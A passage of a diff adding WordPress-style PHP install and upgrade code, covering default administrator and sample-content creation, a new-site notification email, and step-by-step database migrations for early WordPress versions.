+	 * Create default user. If the user already exists, the user tables are
+	 * being shared among blogs. Just set the role in that case.
+	 */
+	$user_id = username_exists($user_name);
+	$user_password = trim($user_password);
+	$email_password = false;
+	if ( !$user_id && empty($user_password) ) {
+		$user_password = wp_generate_password( 12, false );
+		$message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.');
+		$user_id = wp_create_user($user_name, $user_password, $user_email);
+		update_user_option($user_id, 'default_password_nag', true, true);
+		$email_password = true;
+	} else if ( !$user_id ) {
+		// Password has been provided
+		$message = '<em>'.__('Your chosen password.').'</em>';
+		$user_id = wp_create_user($user_name, $user_password, $user_email);
+	} else {
+		$message = __('User already exists. Password inherited.');
+	}
+
+	$user = new WP_User($user_id);
+	$user->set_role('administrator');
+
+	wp_install_defaults($user_id);
+
+	flush_rewrite_rules();
+
+	wp_new_blog_notification($blog_title, $guessurl, $user_id, ($email_password ? $user_password : __('The password you chose during the install.') ) );
+
+	wp_cache_flush();
+
+	/**
+	 * Fires after a site is fully installed.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param WP_User $user The site owner.
+	 */
+	do_action( 'wp_install', $user );
+
+	return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message);
+}
+endif;
+
+if ( !function_exists('wp_install_defaults') ) :
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 2.1.0
+ *
+ * @param int $user_id User ID.
+ */
+function wp_install_defaults( $user_id ) {
+	global $wpdb, $wp_rewrite, $table_prefix;
+
+	// Default category
+	$cat_name = __('Uncategorized');
+	/* translators: Default category slug */
+	$cat_slug = sanitize_title(_x('Uncategorized', 'Default category slug'));
+
+	if ( global_terms_enabled() ) {
+		$cat_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM {$wpdb->sitecategories} WHERE category_nicename = %s", $cat_slug ) );
+		if ( $cat_id == null ) {
+			$wpdb->insert( $wpdb->sitecategories, array('cat_ID' => 0, 'cat_name' => $cat_name, 'category_nicename' => $cat_slug, 'last_updated' => current_time('mysql', true)) );
+			$cat_id = $wpdb->insert_id;
+		}
+		update_option('default_category', $cat_id);
+	} else {
+		$cat_id = 1;
+	}
+
+	$wpdb->insert( $wpdb->terms, array('term_id' => $cat_id, 'name' => $cat_name, 'slug' => $cat_slug, 'term_group' => 0) );
+	$wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $cat_id, 'taxonomy' => 'category', 'description' => '', 'parent' => 0, 'count' => 1));
+	$cat_tt_id = $wpdb->insert_id;
+
+	// First post
+	$now = date('Y-m-d H:i:s');
+	$now_gmt = gmdate('Y-m-d H:i:s');
+	$first_post_guid = get_option('home') . '/?p=1';
+
+	if ( is_multisite() ) {
+		$first_post = get_site_option( 'first_post' );
+
+		if ( empty($first_post) )
+			$first_post = __( 'Welcome to <a href="SITE_URL">SITE_NAME</a>. This is your first post. Edit or delete it, then start blogging!' );
+
+		$first_post = str_replace( "SITE_URL", esc_url( network_home_url() ), $first_post );
+		$first_post = str_replace( "SITE_NAME", get_current_site()->site_name, $first_post );
+	} else {
+		$first_post = __('Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!');
+	}
+
+	$wpdb->insert( $wpdb->posts, array(
+								'post_author' => $user_id,
+								'post_date' => $now,
+								'post_date_gmt' => $now_gmt,
+								'post_content' => $first_post,
+								'post_excerpt' => '',
+								'post_title' => __('Hello world!'),
+								/* translators: Default post slug */
+								'post_name' => sanitize_title( _x('hello-world', 'Default post slug') ),
+								'post_modified' => $now,
+								'post_modified_gmt' => $now_gmt,
+								'guid' => $first_post_guid,
+								'comment_count' => 1,
+								'to_ping' => '',
+								'pinged' => '',
+								'post_content_filtered' => ''
+								));
+	$wpdb->insert( $wpdb->term_relationships, array('term_taxonomy_id' => $cat_tt_id, 'object_id' => 1) );
+
+	// Default comment
+	$first_comment_author = __('Mr WordPress');
+	$first_comment_url = 'https://wordpress.org/';
+	$first_comment = __('Hi, this is a comment.
+To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.');
+	if ( is_multisite() ) {
+		$first_comment_author = get_site_option( 'first_comment_author', $first_comment_author );
+		$first_comment_url = get_site_option( 'first_comment_url', network_home_url() );
+		$first_comment = get_site_option( 'first_comment', $first_comment );
+	}
+	$wpdb->insert( $wpdb->comments, array(
+								'comment_post_ID' => 1,
+								'comment_author' => $first_comment_author,
+								'comment_author_email' => '',
+								'comment_author_url' => $first_comment_url,
+								'comment_date' => $now,
+								'comment_date_gmt' => $now_gmt,
+								'comment_content' => $first_comment
+								));
+
+	// First Page
+	$first_page = sprintf( __( "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:
+
+<blockquote>Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)</blockquote>
+
+...or something like this:
+
+<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>
+
+As a new WordPress user, you should go to <a href=\"%s\">your dashboard</a> to delete this page and create new pages for your content. Have fun!" ), admin_url() );
+	if ( is_multisite() )
+		$first_page = get_site_option( 'first_page', $first_page );
+	$first_post_guid = get_option('home') . '/?page_id=2';
+	$wpdb->insert( $wpdb->posts, array(
+								'post_author' => $user_id,
+								'post_date' => $now,
+								'post_date_gmt' => $now_gmt,
+								'post_content' => $first_page,
+								'post_excerpt' => '',
+								'post_title' => __( 'Sample Page' ),
+								/* translators: Default page slug */
+								'post_name' => __( 'sample-page' ),
+								'post_modified' => $now,
+								'post_modified_gmt' => $now_gmt,
+								'guid' => $first_post_guid,
+								'post_type' => 'page',
+								'to_ping' => '',
+								'pinged' => '',
+								'post_content_filtered' => ''
+								));
+	$wpdb->insert( $wpdb->postmeta, array( 'post_id' => 2, 'meta_key' => '_wp_page_template', 'meta_value' => 'default' ) );
+
+	// Set up default widgets for default theme.
+	update_option( 'widget_search', array ( 2 => array ( 'title' => '' ), '_multiwidget' => 1 ) );
+	update_option( 'widget_recent-posts', array ( 2 => array ( 'title' => '', 'number' => 5 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_recent-comments', array ( 2 => array ( 'title' => '', 'number' => 5 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_archives', array ( 2 => array ( 'title' => '', 'count' => 0, 'dropdown' => 0 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_categories', array ( 2 => array ( 'title' => '', 'count' => 0, 'hierarchical' => 0, 'dropdown' => 0 ), '_multiwidget' => 1 ) );
+	update_option( 'widget_meta', array ( 2 => array ( 'title' => '' ), '_multiwidget' => 1 ) );
+	update_option( 'sidebars_widgets', array ( 'wp_inactive_widgets' => array (), 'sidebar-1' => array ( 0 => 'search-2', 1 => 'recent-posts-2', 2 => 'recent-comments-2', 3 => 'archives-2', 4 => 'categories-2', 5 => 'meta-2', ), 'array_version' => 3 ) );
+
+	if ( ! is_multisite() )
+		update_user_meta( $user_id, 'show_welcome_panel', 1 );
+	elseif ( ! is_super_admin( $user_id ) && ! metadata_exists( 'user', $user_id, 'show_welcome_panel' ) )
+		update_user_meta( $user_id, 'show_welcome_panel', 2 );
+
+	if ( is_multisite() ) {
+		// Flush rules to pick up the new page.
+		$wp_rewrite->init();
+		$wp_rewrite->flush_rules();
+
+		$user = new WP_User($user_id);
+		$wpdb->update( $wpdb->options, array('option_value' => $user->user_email), array('option_name' => 'admin_email') );
+
+		// Remove all perms except for the login user.
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix.'user_level') );
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix.'capabilities') );
+
+		// Delete any caps that snuck into the previously active blog. (Hardcoded to blog 1 for now.) TODO: Get previous_blog_id.
+		if ( !is_super_admin( $user_id ) && $user_id != 1 )
+			$wpdb->delete( $wpdb->usermeta, array( 'user_id' => $user_id , 'meta_key' => $wpdb->base_prefix.'1_capabilities' ) );
+	}
+}
+endif;
+
+if ( !function_exists('wp_new_blog_notification') ) :
+/**
+ * {@internal Missing Short Description}}
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 2.1.0
+ *
+ * @param string $blog_title Blog title.
+ * @param string $blog_url Blog url.
+ * @param int $user_id User ID.
+ * @param string $password User's Password.
+ */
+function wp_new_blog_notification($blog_title, $blog_url, $user_id, $password) {
+	$user = new WP_User( $user_id );
+	$email = $user->user_email;
+	$name = $user->user_login;
+	$login_url = wp_login_url();
+	$message = sprintf( __( "Your new WordPress site has been successfully set up at:
+
+%1\$s
+
+You can log in to the administrator account with the following information:
+
+Username: %2\$s
+Password: %3\$s
+Log in here: %4\$s
+
+We hope you enjoy your new site. Thanks!
+
+--The WordPress Team
+https://wordpress.org/
+"), $blog_url, $name, $password, $login_url );
+
+	@wp_mail($email, __('New WordPress Site'), $message);
+}
+endif;
+
+if ( !function_exists('wp_upgrade') ) :
+/**
+ * Run WordPress Upgrade functions.
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 2.1.0
+ *
+ * @return null
+ */
+function wp_upgrade() {
+	global $wp_current_db_version, $wp_db_version, $wpdb;
+
+	$wp_current_db_version = __get_option('db_version');
+
+	// We are up-to-date. Nothing to do.
+	if ( $wp_db_version == $wp_current_db_version )
+		return;
+
+	if ( ! is_blog_installed() )
+		return;
+
+	wp_check_mysql_version();
+	wp_cache_flush();
+	pre_schema_upgrade();
+	make_db_current_silent();
+	upgrade_all();
+	if ( is_multisite() && is_main_site() )
+		upgrade_network();
+	wp_cache_flush();
+
+	if ( is_multisite() ) {
+		if ( $wpdb->get_row( "SELECT blog_id FROM {$wpdb->blog_versions} WHERE blog_id = '{$wpdb->blogid}'" ) )
+			$wpdb->query( "UPDATE {$wpdb->blog_versions} SET db_version = '{$wp_db_version}' WHERE blog_id = '{$wpdb->blogid}'" );
+		else
+			$wpdb->query( "INSERT INTO {$wpdb->blog_versions} ( `blog_id` , `db_version` , `last_updated` ) VALUES ( '{$wpdb->blogid}', '{$wp_db_version}', NOW());" );
+	}
+
+	/**
+	 * Fires after a site is fully upgraded.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int $wp_db_version         The new $wp_db_version.
+	 * @param int $wp_current_db_version The old (current) $wp_db_version.
+	 */
+	do_action( 'wp_upgrade', $wp_db_version, $wp_current_db_version );
+}
+endif;
+
+/**
+ * Functions to be called in install and upgrade scripts.
+ *
+ * {@internal Missing Long Description}}
+ *
+ * @since 1.0.1
+ */
+function upgrade_all() {
+	global $wp_current_db_version, $wp_db_version;
+	$wp_current_db_version = __get_option('db_version');
+
+	// We are up-to-date. Nothing to do.
+	if ( $wp_db_version == $wp_current_db_version )
+		return;
+
+	// If the version is not set in the DB, try to guess the version.
+	if ( empty($wp_current_db_version) ) {
+		$wp_current_db_version = 0;
+
+		// If the template option exists, we have 1.5.
+		$template = __get_option('template');
+		if ( !empty($template) )
+			$wp_current_db_version = 2541;
+	}
+
+	if ( $wp_current_db_version < 6039 )
+		upgrade_230_options_table();
+
+	populate_options();
+
+	if ( $wp_current_db_version < 2541 ) {
+		upgrade_100();
+		upgrade_101();
+		upgrade_110();
+		upgrade_130();
+	}
+
+	if ( $wp_current_db_version < 3308 )
+		upgrade_160();
+
+	if ( $wp_current_db_version < 4772 )
+		upgrade_210();
+
+	if ( $wp_current_db_version < 4351 )
+		upgrade_old_slugs();
+
+	if ( $wp_current_db_version < 5539 )
+		upgrade_230();
+
+	if ( $wp_current_db_version < 6124 )
+		upgrade_230_old_tables();
+
+	if ( $wp_current_db_version < 7499 )
+		upgrade_250();
+
+	if ( $wp_current_db_version < 7935 )
+		upgrade_252();
+
+	if ( $wp_current_db_version < 8201 )
+		upgrade_260();
+
+	if ( $wp_current_db_version < 8989 )
+		upgrade_270();
+
+	if ( $wp_current_db_version < 10360 )
+		upgrade_280();
+
+	if ( $wp_current_db_version < 11958 )
+		upgrade_290();
+
+	if ( $wp_current_db_version < 15260 )
+		upgrade_300();
+
+	if ( $wp_current_db_version < 19389 )
+		upgrade_330();
+
+	if ( $wp_current_db_version < 20080 )
+		upgrade_340();
+
+	if ( $wp_current_db_version < 22422 )
+		upgrade_350();
+
+	if ( $wp_current_db_version < 25824 )
+		upgrade_370();
+
+	if ( $wp_current_db_version < 26148 )
+		upgrade_372();
+
+	if ( $wp_current_db_version < 26691 )
+		upgrade_380();
+
+	if ( $wp_current_db_version < 29630 )
+		upgrade_400();
+
+	if ( $wp_current_db_version < 30135 )
+		upgrade_415();
+
+	maybe_disable_link_manager();
+
+	maybe_disable_automattic_widgets();
+
+	update_option( 'db_version', $wp_db_version );
+	update_option( 'db_upgraded', true );
+}
+
+/**
+ * Execute changes made in WordPress 1.0.
+ *
+ * @since 1.0.0
+ */
+function upgrade_100() {
+	global $wpdb;
+
+	// Get the title and ID of every post, post_name to check if it already has a value
+	$posts = $wpdb->get_results("SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''");
+	if ($posts) {
+		foreach($posts as $post) {
+			if ('' == $post->post_name) {
+				$newtitle = sanitize_title($post->post_title);
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID) );
+			}
+		}
+	}
+
+	$categories = $wpdb->get_results("SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories");
+	foreach ($categories as $category) {
+		if ('' == $category->category_nicename) {
+			$newtitle = sanitize_title($category->cat_name);
+			$wpdb->update( $wpdb->categories, array('category_nicename' => $newtitle), array('cat_ID' => $category->cat_ID) );
+		}
+	}
+
+	$sql = "UPDATE $wpdb->options
+		SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/')
+		WHERE option_name LIKE %s
+		AND option_value LIKE %s";
+	$wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( 'links_rating_image' ) . '%', $wpdb->esc_like( 'wp-links/links-images/' ) . '%' ) );
+
+	$done_ids = $wpdb->get_results("SELECT DISTINCT post_id FROM $wpdb->post2cat");
+	if ($done_ids) :
+		foreach ($done_ids as $done_id) :
+			$done_posts[] = $done_id->post_id;
+		endforeach;
+		$catwhere = ' AND ID NOT IN (' . implode(',', $done_posts) . ')';
+	else:
+		$catwhere = '';
+	endif;
+
+	$allposts = $wpdb->get_results("SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere");
+	if ($allposts) :
+		foreach ($allposts as $post) {
+			// Check to see if it's already been imported
+			$cat = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category) );
+			if (!$cat && 0 != $post->post_category) { // If there's no result
+				$wpdb->insert( $wpdb->post2cat, array('post_id' => $post->ID, 'category_id' => $post->post_category) );
+			}
+		}
+	endif;
+}
+
+/**
+ * Execute changes made in WordPress 1.0.1.
+ *
+ * @since 1.0.1
+ */
+function upgrade_101() {
+	global $wpdb;
+
+	// Clean up indices, add a few
+	add_clean_index($wpdb->posts, 'post_name');
+	add_clean_index($wpdb->posts, 'post_status');
+	add_clean_index($wpdb->categories, 'category_nicename');
+	add_clean_index($wpdb->comments, 'comment_approved');
+	add_clean_index($wpdb->comments, 'comment_post_ID');
+	add_clean_index($wpdb->links , 'link_category');
+	add_clean_index($wpdb->links , 'link_visible');
+}
+
+/**
+ * Execute changes made in WordPress 1.2.
+ *
+ * @since 1.2.0
+ */
+function upgrade_110() {
+	global $wpdb;
+
+	// Set user_nicename.
+	$users = $wpdb->get_results("SELECT ID, user_nickname, user_nicename FROM $wpdb->users");
+	foreach ($users as $user) {
+		if ('' == $user->user_nicename) {
+			$newname = sanitize_title($user->user_nickname);
+			$wpdb->update( $wpdb->users, array('user_nicename' => $newname), array('ID' => $user->ID) );
+		}
+	}
+
+	$users = $wpdb->get_results("SELECT ID, user_pass from $wpdb->users");
+	foreach ($users as $row) {
+		if (!preg_match('/^[A-Fa-f0-9]{32}$/', $row->user_pass)) {
+			$wpdb->update( $wpdb->users, array('user_pass' => md5($row->user_pass)), array('ID' => $row->ID) );
+		}
+	}
+
+	// Get the GMT offset, we'll use that later on
+	$all_options = get_alloptions_110();
+
+	$time_difference = $all_options->time_difference;
+
+		$server_time = time()+date('Z');
+	$weblogger_time = $server_time + $time_difference * HOUR_IN_SECONDS;
+	$gmt_time = time();
+
+	$diff_gmt_server = ($gmt_time - $server_time) / HOUR_IN_SECONDS;
+	$diff_weblogger_server = ($weblogger_time - $server_time) / HOUR_IN_SECONDS;
+	$diff_gmt_weblogger = $diff_gmt_server - $diff_weblogger_server;
+	$gmt_offset = -$diff_gmt_weblogger;
+
+	// Add a gmt_offset option, with value $gmt_offset
+	add_option('gmt_offset', $gmt_offset);
+
+	// Check if we already set the GMT fields (if we did, then
+	// MAX(post_date_gmt) can't be '0000-00-00 00:00:00'
+	// <michel_v> I just slapped myself silly for not thinking about it earlier
+	$got_gmt_fields = ! ($wpdb->get_var("SELECT MAX(post_date_gmt) FROM $wpdb->posts") == '0000-00-00 00:00:00');
+
+	if (!$got_gmt_fields) {
+
+		// Add or subtract time to all dates, to get GMT dates
+		$add_hours = intval($diff_gmt_weblogger);
+		$add_minutes = intval(60 * ($diff_gmt_weblogger - $add_hours));
+		$wpdb->query("UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+		$wpdb->query("UPDATE $wpdb->posts SET post_modified = post_date");
+		$wpdb->query("UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'");
+		$wpdb->query("UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+		$wpdb->query("UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)");
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 1.5.
+ *
+ * @since 1.5.0
+ */
+function upgrade_130() {
+	global $wpdb;
+
+	// Remove extraneous backslashes.
+	$posts = $wpdb->get_results("SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts");
+	if ($posts) {
+		foreach($posts as $post) {
+			$post_content = addslashes(deslash($post->post_content));
+			$post_title = addslashes(deslash($post->post_title));
+			$post_excerpt = addslashes(deslash($post->post_excerpt));
+			if ( empty($post->guid) )
+				$guid = get_permalink($post->ID);
+			else
+				$guid = $post->guid;
+
+			$wpdb->update( $wpdb->posts, compact('post_title', 'post_content', 'post_excerpt', 'guid'), array('ID' => $post->ID) );
+
+		}
+	}
+
+	// Remove extraneous backslashes.
+	$comments = $wpdb->get_results("SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments");
+	if ($comments) {
+		foreach($comments as $comment) {
+			$comment_content = deslash($comment->comment_content);
+			$comment_author = deslash($comment->comment_author);
+
+			$wpdb->update($wpdb->comments, compact('comment_content', 'comment_author'), array('comment_ID' => $comment->comment_ID) );
+		}
+	}
+
+	// Remove extraneous backslashes.
+	$links = $wpdb->get_results("SELECT link_id, link_name, link_description FROM $wpdb->links");
+	if ($links) {
+		foreach($links as $link) {
+			$link_name = deslash($link->link_name);
+			$link_description = deslash($link->link_description);
+
+			$wpdb->update( $wpdb->links, compact('link_name', 'link_description'), array('link_id' => $link->link_id) );
+		}
+	}
+
+	$active_plugins = __get_option('active_plugins');
+
+	/*
+	 * If plugins are not stored in an array, they're stored in the old
+	 * newline separated format. Convert to new format.
+	 */
+	if ( !is_array( $active_plugins ) ) {
+		$active_plugins = explode("\n", trim($active_plugins));
+		update_option('active_plugins', $active_plugins);
+	}
+
+	// Obsolete tables
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options');
+
+	// Update comments table to use comment_type
+	$wpdb->query("UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '<trackback />', '') WHERE comment_content LIKE '<trackback />%'");
+	$wpdb->query("UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '<pingback />', '') WHERE comment_content LIKE '<pingback />%'");
+
+	// Some versions have multiple duplicate option_name rows with the same values
+	$options = $wpdb->get_results("SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name");
+	foreach ( $options as $option ) {
+		if ( 1 != $option->dupes ) { // Could this be done in the query?
+			$limit = $option->dupes - 1;
+			$dupe_ids = $wpdb->get_col( $wpdb->prepare("SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit) );
+			if ( $dupe_ids ) {
+				$dupe_ids = join($dupe_ids, ',');
+				$wpdb->query("DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)");
+			}
+		}
+	}
+
+	make_site_theme();
+}
+
+/**
+ * Execute changes made in WordPress 2.0.
+ *
+ * @since 2.0.0
+ */
+function upgrade_160() {
+	global $wpdb, $wp_current_db_version;
+
+	populate_roles_160();
+
+	$users = $wpdb->get_results("SELECT * FROM $wpdb->users");
+	foreach ( $users as $user ) :
+		if ( !empty( $user->user_firstname ) )
+			update_user_meta( $user->ID, 'first_name', wp_slash($user->user_firstname) );
+		if ( !empty( $user->user_lastname ) )
+			update_user_meta( $user->ID, 'last_name', wp_slash($user->user_lastname) );
+		if ( !empty( $user->user_nickname ) )
+			update_user_meta( $user->ID, 'nickname', wp_slash($user->user_nickname) );
+		if ( !empty( $user->user_level ) )
+			update_user_meta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level );
+		if ( !empty( $user->user_icq ) )
+			update_user_meta( $user->ID, 'icq', wp_slash($user->user_icq) );
+		if ( !empty( $user->user_aim ) )
+			update_user_meta( $user->ID, 'aim', wp_slash($user->user_aim) );
+		if ( !empty( $user->user_msn ) )
+			update_user_meta( $user->ID, 'msn', wp_slash($user->user_msn) );
+		if ( !empty( $user->user_yim ) )
+			update_user_meta( $user->ID, 'yim', wp_slash($user->user_icq) );
+		if ( !empty( $user->user_description ) )
+			update_user_meta( $user->ID, 'description', wp_slash($user->user_description) );
+
+		if ( isset( $user->user_idmode ) ):
+			$idmode = $user->user_idmode;
+			if ($idmode == 'nickname') $id = $user->user_nickname;
+			if ($idmode == 'login') $id = $user->user_login;
+			if ($idmode == 'firstname') $id = $user->user_firstname;
+			if ($idmode == 'lastname') $id = $user->user_lastname;
+			if ($idmode == 'namefl') $id = $user->user_firstname.' '.$user->user_lastname;
+			if ($idmode == 'namelf') $id = $user->user_lastname.' '.$user->user_firstname;
+			if (!$idmode) $id = $user->user_nickname;
+			$wpdb->update( $wpdb->users, array('display_name' => $id), array('ID' => $user->ID) );
+		endif;
+
+		// FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set.
+		$caps = get_user_meta( $user->ID, $wpdb->prefix . 'capabilities');
+		if ( empty($caps) || defined('RESET_CAPS') ) {
+			$level = get_user_meta($user->ID, $wpdb->prefix . 'user_level', true);
+			$role = translate_level_to_role($level);
+			update_user_meta( $user->ID, $wpdb->prefix . 'capabilities', array($role => true) );
+		}
+
+	endforeach;
+	$old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' );
+	$wpdb->hide_errors();
+	foreach ( $old_user_fields as $old )
+		$wpdb->query("ALTER TABLE $wpdb->users DROP $old");
+	$wpdb->show_errors();
+
+	// Populate comment_count field of posts table.
+	$comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" );
+	if ( is_array( $comments ) )
+		foreach ($comments as $comment)
+			$wpdb->update( $wpdb->posts, array('comment_count' => $comment->c), array('ID' => $comment->comment_post_ID) );
+
+	/*
+	 * Some alpha versions used a post status of object instead of attachment
+	 * and put the mime type in post_type instead of post_mime_type.
+	 */
+	if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) {
+		$objects = $wpdb->get_results("SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'");
+		foreach ($objects as $object) {
+			$wpdb->update( $wpdb->posts, array(	'post_status' => 'attachment',
+												'post_mime_type' => $object->post_type,
+												'post_type' => ''),
+										 array( 'ID' => $object->ID ) );
+
+			$meta = get_post_meta($object->ID, 'imagedata', true);
+			if ( ! empty($meta['file']) )
+				update_attached_file( $object->ID, $meta['file'] );
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.1.
+ *
+ * @since 2.1.0
+ */
+function upgrade_210() {
+	global $wpdb, $wp_current_db_version;
+
+	if ( $wp_current_db_version < 3506 ) {
+		// Update status and type.
+		$posts = $wpdb->get_results("SELECT ID, post_status FROM $wpdb->posts");
+
+		if ( ! empty($posts) ) foreach ($posts as $post) {
+			$status = $post->post_status;
+			$type = 'post';
+
+			if ( 'static' == $status ) {
+				$status = 'publish';
+				$type = 'page';
+			} else if ( 'attachment' == $status ) {
+				$status = 'inherit';
+				$type = 'attachment';
+			}
+
+			$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID) );
+		}
+	}
+
+	if ( $wp_current_db_version < 3845 ) {
+		populate_roles_210();
+	}
+
+	if ( $wp_current_db_version < 3531 ) {
+		// Give future posts a post_status of future.
+		$now = gmdate('Y-m-d H:i:59');
+		$wpdb->query ("UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'");
+
+		$posts = $wpdb->get_results("SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'");
+		if ( !empty($posts) )
+			foreach ( $posts as $post )
+				wp_schedule_single_event(mysql2date('U', $post->post_date, false), 'publish_future_post', array($post->ID));
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.3.
+ *
+ * @since 2.3.0
+ */
+function upgrade_230() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 5200 ) {
+		populate_roles_230();
+	}
+
+	// Convert categories to terms.
+	$tt_ids = array();
+	$have_tags = false;
+	$categories = $wpdb->get_results("SELECT * FROM $wpdb->categories ORDER BY cat_ID");
+	foreach ($categories as $category) {
+		$term_id = (int) $category->cat_ID;
+		$name = $category->cat_name;
+		$description = $category->category_description;
+		$slug = $category->category_nicename;
+		$parent = $category->category_parent;
+		$term_group = 0;
+
+		// Associate terms with the same slug in a term group and make slugs unique.
+		if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) {
+			$term_group = $exists[0]->term_group;
+			$id = $exists[0]->term_id;
+			$num = 2;
+			do {
+				$alt_slug = $slug . "-$num";
+				$num++;
+				$slug_check = $wpdb->get_var( $wpdb->prepare("SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug) );
+			} while ( $slug_check );
+
+			$slug = $alt_slug;
+
+			if ( empty( $term_group ) ) {
+				$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group") + 1;
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id) );
+			}
+		}
+
+		$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES
+		(%d, %s, %s, %d)", $term_id, $name, $slug, $term_group) );
+
+		$count = 0;
+		if ( !empty($category->category_count) ) {
+			$count = (int) $category->category_count;
+			$taxonomy = 'category';
+			$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( !empty($category->link_count) ) {
+			$count = (int) $category->link_count;
+			$taxonomy = 'link_category';
+			$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( !empty($category->tag_count) ) {
+			$have_tags = true;
+			$count = (int) $category->tag_count;
+			$taxonomy = 'post_tag';
+			$wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( empty($count) ) {
+			$count = 0;
+			$taxonomy = 'category';
+			$wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+	}
+
+	$select = 'post_id, category_id';
+	if ( $have_tags )
+		$select .= ', rel_type';
+
+	$posts = $wpdb->get_results("SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id");
